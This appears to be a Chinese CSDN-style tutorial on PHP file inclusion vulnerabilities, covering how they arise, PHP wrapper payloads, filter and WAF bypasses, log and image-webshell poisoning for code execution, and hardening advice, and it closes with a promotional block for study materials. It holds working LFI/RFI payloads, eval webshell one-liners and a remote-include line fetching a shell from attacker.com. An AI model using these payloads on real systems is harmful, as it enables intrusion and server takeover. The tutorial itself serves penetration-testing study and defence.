文件包含漏洞原理与实战,绕过各种过滤姿势汇总
前言
文件包含是 Web 安全经典高危漏洞,PHP、JSP、ASP 这类动态语言都存在,其中 PHP 出现频率最高。很多开发为了代码复用,使用include、require等函数动态引入文件;如果文件路径参数可控,又没有做好输入校验,攻击者就可以读取服务器敏感文件,甚至执行恶意代码拿下服务器权限。
现在 WAF 和代码审计经常会过滤../、http://等关键词,简单的 payload 直接被拦截。本文从漏洞原理、LFI/RFI 区分、伪协议利用,到各类过滤绕过方法、日志注入、图片马实战一次性整理。适合渗透测试、靶场练习、代码审计学习。
免责声明:本文所有技术仅用于授权环境安全测试、网络安全学习。严禁在未授权网站、服务器上进行漏洞测试,未经授权的探测、文件读取、代码执行行为违反网络安全法律法规。
0x01 文件包含漏洞基础原理
1.1 漏洞产生的核心条件
- 代码使用文件包含函数(PHP:
include、include_once、require、require_once); - 文件路径由用户前端传入参数控制;
- 缺少输入过滤、白名单校验、目录限制。
漏洞源码示例(经典脆弱代码):
<?php // page参数用户可控,直接带入include $page = $_GET['page']; include($page); ?>访问?page=index.php正常加载页面;修改参数?page=/etc/passwd,就会读取服务器本地用户文件。
还有一种场景,代码自动拼接后缀,也是高频坑:
<?php $page = $_GET['page']; include($page . ".php"); // 自动追加.php后缀 ?>这种代码会强制在传入参数末尾拼接.php,直接传/etc/passwd会变成/etc/passwd.php,无法正常读取,需要用截断技巧绕过。
1.2 两类文件包含:LFI 本地包含、RFI 远程包含
- LFI(Local File Inclusion,本地文件包含):只能读取服务器本地磁盘文件。不需要开启远程包含配置,现在最常见。
危害:读取/etc/passwd、网站配置文件、数据库账号密码、日志文件。配合日志注入、图片上传,可实现代码执行 RCE。 - RFI(Remote File Inclusion,远程文件包含):可以包含远程服务器上的文件并执行代码。
利用前置条件(php.ini):
allow_url_fopen = On allow_url_include = On注意:PHP5.2 之后
allow_url_include默认关闭,现在线上 RFI 很少见,遗留老系统才会遇到。
利用 payload:?page=http://攻击者服务器/shell.txt,远程文件中的 PHP 代码会被服务器解析执行。
0x02 PHP 伪协议利用(LFI 核心手段)
PHP 内置多种包装协议,不需要../目录穿越,直接读取源码或者执行代码,WAF 如果只过滤../,很容易被伪协议绕过。
2.1 php://filter 读取源码(最常用)
作用:读取文件内容,并且可以做 base64 编码输出,解决 PHP 文件直接包含会执行而看不到源码的问题。
Payload:
?page=php://filter/read=convert.base64-encode/resource=index.php服务器返回 base64 字符串,解码后拿到 index.php 完整源代码,读取数据库配置、源码密钥。
- 适用场景:WAF 没有拦截
php://filter; - 坑点:resource 后面不能带协议头,只能写本地文件路径。
2.2 php://input 执行代码
php://input读取 POST 原始请求体内容,将 POST 数据当作 PHP 代码执行。
条件:
allow_url_include=On,POST 提交数据。
Payload:
GET ?page=php://input POST数据:<?php phpinfo(); ?>2.3 data:// 伪协议执行代码
直接在 URL 内写入 PHP 代码,实现 RCE。
条件:allow_url_include=On
?page=data://text/plain,<?php phpinfo();?> base64编码版本: ?page=data://text/plain;base64,PD9waHAgcGhpbmZvKCk7Pz4=2.4 file:// 读取本地绝对路径文件
读取本地文件,传入绝对路径:
?page=file:///etc/passwd0x03 各类过滤绕过实战汇总
很多站点会做黑名单过滤,过滤../、http、php://、passwd,下面分场景整理绕过姿势。
场景 1:过滤../跨目录符号(最常见)
① 多层点斜替换
过滤单个../,可以使用....//,PHP 解析时会化简为../
?page=....//....//etc/passwd② URL 编码绕过
../URL 编码:%2E%2E%2F
二次编码(WAF 只做一次解码):%252E%252E%252F
原理:WAF 第一次解码检测,后端 PHP 会再次解码,绕过黑名单匹配。
③ Windows 与 Linux 斜符混用
Linux 识别/,Windows 识别\,如果只过滤/,可以使用..\
?page=..\..\windows\system32\drivers\etc\hosts④ 绝对路径直接读取
黑名单只拦截../,允许绝对路径,直接传入完整路径,不需要目录穿越。
?page=/etc/passwd场景 2:代码自动追加后缀 .php($page . “.php”)
目标代码:include($page.".php");,直接传/etc/passwd会变成/etc/passwd.php读取失败。
① %00 空字节截断(老版本 PHP)
Payload:?page=/etc/passwd%00
限制条件:PHP < 5.3.4,magic_quotes_gpc 关闭。新版本 PHP 已经修复,线上很少,靶场多见。原理:
%00是字符串结束符,后面拼接的.php被丢弃。
② 路径长度截断(点号截断)
PHP 文件路径有长度上限,超长路径会自动截断末尾追加的.php。Linux 一般 4096 字节,Windows259 字节。
构造大量./填充,让最终拼接的.php超出长度被截断。
?page=../../../etc/passwd/././././[大量填充./]③ RFI 利用?问号截断(远程包含场景)
远程包含时,URL 的?代表查询参数,PHP 会把?后面内容当成参数,不会拼接到文件名。
?page=http://attacker.com/shell.txt?最终包含地址:http://attacker.com/shell.txt,自动追加的.php变成 URL 参数,不会参与文件名。
④ # 井号截断
#是锚点,浏览器发送请求不会传递 #后面内容,适合部分场景。
场景 3:过滤伪协议关键词 php://
- 大小写绕过:PHP 协议不区分大小写
?page=PHP://filter/read=convert.base64-encode/resource=index.php- 编码绕过,对关键字 URL 编码;
- 部分环境支持协议换行、空白字符绕过(老版本)。
场景 4:过滤关键词 passwd、hosts 等敏感文件名
- 编码绕过,文件名 URL 编码;
- 通配符读取(部分 Linux 环境支持 glob 协议)
?page=glob:///etc/passw*0x04 LFI 本地文件包含实现 RCE 的实战方法
单纯 LFI 只能读文件,配合文件上传、日志写入,就能写入 PHP 代码,实现代码执行。
4.1 图片马 + 文件上传(经典)
- 上传图片马
1.jpg,文件内容包含<?php eval($_GET[cmd]);?>,图片头部添加 GIF 文件头GIF89a绕过图片校验; - 上传拿到图片路径
/upload/1.jpg; - 使用文件包含漏洞包含这个图片:
?page=upload/1.jpgPHP 包含 jpg 文件,会解析里面 PHP 代码,触发 RCE。
关键点:图片后缀是 jpg,直接访问不会解析 PHP,只有 include 包含的时候,里面代码才会被执行。
4.2 日志注入攻击(LFI 高频利用手段)
原理:Web 服务器访问日志(nginx/apache)会记录 User-Agent、请求 URI。我们把 PHP 代码写入请求头,日志文件保存这段代码;再通过文件包含读取日志文件,执行里面 PHP 代码。
- 修改请求头 User-Agent 写入一句话木马:
<?php eval($_POST[cmd]);?> - 发送请求,服务器将 UA 写入 access.log;
- 包含日志文件,执行代码。
Linux 常见日志路径:
/var/log/apache2/access.log /var/log/nginx/access.log /var/log/httpd/access_log坑点:日志文件权限、日志路径未知;日志过大容易无法利用。
4.3 会话文件包含(session 注入)
PHP Session 文件保存在服务器/tmp/sess_xxxx,session 内容可控,写入 PHP 代码,再包含 session 文件触发执行。
0x05 测试思路与漏洞判断流程
- 寻找可疑参数:
?file=xx、?page=xx、?path=xx、?template=xx、?lang=xx; - 基础测试:传入
?page=php://filter/read=convert.base64-encode/resource=index.php,看是否返回 base64 源码; - 目录穿越测试:
?page=../../etc/passwd; - 判断是否自动追加后缀,测试截断 payload;
- 尝试伪协议、图片马、日志注入,判断是否能 RCE;
- 识别 WAF,依次尝试编码、大小写、多层点斜等绕过。
0x06 高频踩坑总结
❌坑 1:直接使用../被 WAF 拦截,就判定不存在文件包含漏洞
WAF 黑名单可以绕过,伪协议、多层点斜、编码方式经常可以绕过。
❌坑 2:图片马上传成功,直接访问图片地址,以为能执行代码
直接访问 jpg 不会解析 PHP,必须通过 include 函数包含才执行代码。
❌坑 3:%00 截断到处使用
%00 截断只在 PHP<5.3.4 生效,新版 PHP 无效,不要盲目测试。
❌坑 4:RFI 现在很容易复现
新版 PHP 默认关闭 allow_url_include,RFI 在现代线上站点极少,更多是 LFI 本地包含。
❌坑 5:黑名单过滤就认为安全
过滤
../这种黑名单防护非常脆弱,各种编码、变形都可以绕过,文件包含防护必须使用白名单。
0x07 防御加固方案(开发 & 运维)
- 优先白名单策略(最安全),只允许指定的页面文件,用户输入只能选择预设文件,禁止直接拼接文件路径;
- 禁止用户可控参数直接传入
include、require这类危险包含函数; - php.ini 配置加固:
allow_url_include = Off allow_url_fopen = Off open_basedir = /webroot/ #限制PHP只能访问网站目录- 过滤危险伪协议,如果业务不需要,禁用
php://、data://、file://; - 上传文件独立目录,限制上传目录 php 解析,图片目录禁止执行 PHP;
- 输入校验:过滤目录分隔符,限制输入字符;不要依赖黑名单;
- 日志权限最小化,防止日志注入;
- 关闭详细错误提示,防止泄露路径信息;WAF 添加文件包含特征检测,持续监控异常请求。
总结
文件包含漏洞核心是可控路径带入文件包含函数。RFI 远程包含现在已经很少见,LFI 本地包含依然是靶场、老旧站点高频漏洞。
黑名单过滤非常容易绕过,../可以多层构造、URL 编码;自动追加后缀场景可以用截断手段;php://filter 伪协议可以不依赖目录穿越直接读取源码。
文件包含的利用链条一般:读取源码 → 读取配置拿数据库信息;或者日志 / 图片马注入 → 包含恶意文件拿到 RCE。
防御的核心原则:永远不要把用户可控的输入,直接拼接为文件路径,白名单才是可靠方案。
一句话记住:黑名单挡不住文件包含,白名单 + open_basedir + 禁用远程协议,三层防护才能有效防御。
最后
关于网络安全技术储备
学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!
对于0基础小白入门:
如果你是零基础小白,想快速入门网络安全是可以考虑的。
一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案
包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!
需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】